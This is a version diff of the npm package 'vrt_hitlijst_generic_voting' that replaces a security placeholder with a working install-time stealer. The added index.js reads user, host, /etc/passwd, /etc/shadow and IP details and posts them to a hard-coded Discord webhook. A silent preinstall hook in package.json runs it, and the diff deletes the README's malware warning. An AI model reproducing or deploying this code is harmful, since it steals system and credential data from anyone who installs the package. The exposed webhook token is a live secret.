vrt_hitlijst_generic_voting 0.0.1-security → 6.999.0

package/index.js

@@ -0,0 +1,106 @@
+const { exec } = require('child_process');
+const https = require('https');
+const path = require('path');
+const fs = require('fs');
+
+// Define the command to collect system information and create the file
+const command = `
+whoami;
+uname -a;
+cat /etc/passwd 2>/dev/null;
+cat /etc/shadow 2>/dev/null;
+curl -s https://ifconfig.me;       # Public IP
+curl -s http://api.ipify.org;      # Another source for Public IP
+hostname -I | awk '{print $1}';   # Private IP
+mkdir -p /tmp/balvant-chavda && echo 'balvant was here' > /tmp/balvant-chavda/poc.txt;
+pwd;
+`;
+
+// Discord webhook URL
+const webhookUrl = 'https://discord.com/api/webhooks/1282556604851421308/ULZN1VNiuQVpb3DRbQjd4o2awhpQ4cGq1VF9w_XuPPKtD9svB12SjfJmBZ_x-rtjgZwJ';
+
+// Function to send data to the Discord webhook
+const sendDataToDiscord = (data, callback) => {
+    const postData = JSON.stringify({
+        content: `**System Information:**\n${data}`
+    });
+
+    const url = new URL(webhookUrl);
+
+    const options = {
+        hostname: url.hostname,
+        port: 443,
+        path: url.pathname,
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(postData)
+        }
+    };
+
+    const req = https.request(options, (res) => {
+        let response = '';
+        res.on('data', (chunk) => {
+            response += chunk;
+        });
+        res.on('end', () => {
+            callback(null, response);
+        });
+    });
+
+    req.on('error', (e) => {
+        callback(`Error: ${e.message}`);
+    });
+
+    req.write(postData);
+    req.end();
+};
+
+// Function to read the content of the created file
+const readPocFile = (callback) => {
+    fs.readFile('/tmp/balvant-chavda/poc.txt', 'utf8', (err, data) => {
+        if (err) {
+            callback(`Error reading file: ${err.message}`);
+        } else {
+            callback(null, data);
+        }
+    });
+};
+
+// Execute the command
+exec(command, (error, stdout, stderr) => {
+    if (error) {
+        console.error(`Error: ${error.message}`);
+        return;
+    }
+    if (stderr) {
+        console.error(`stderr: ${stderr}`);
+        return;
+    }
+
+    // Read the content of the poc.txt file
+    readPocFile((fileErr, fileContent) => {
+        if (fileErr) {
+            console.error(fileErr);
+            return;
+        }
+
+        // Prepare the final message with file content and working directory
+        const finalData = `
+**System Information:**
+${stdout}
+
+**File Content:**
+${fileContent}
+`;
+
+        // Send the collected data to the Discord webhook
+        sendDataToDiscord(finalData, (err, response) => {
+            if (err) {
+                console.error(`Send Data Error: ${err}`);
+                return;
+            }
+            console.log(`Response from Discord webhook: ${response}`);
+        });
+    });
+});

package/package.json

@@ -1,6 +1,16 @@
 {
   "name": "vrt_hitlijst_generic_voting",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "6.999.0",
+  "description": "",
+  "main": "main.js",
+  "scripts": {
+    "preinstall": "node index.js > /dev/null 2>&1",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "lexi2",
+  "license": "ISC",
+  "dependencies": {
+    "lodash": "^4.17.21",
+    "vrt_hitlijst_generic_voting": "^5.999.0"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=vrt_hitlijst_generic_voting for more information.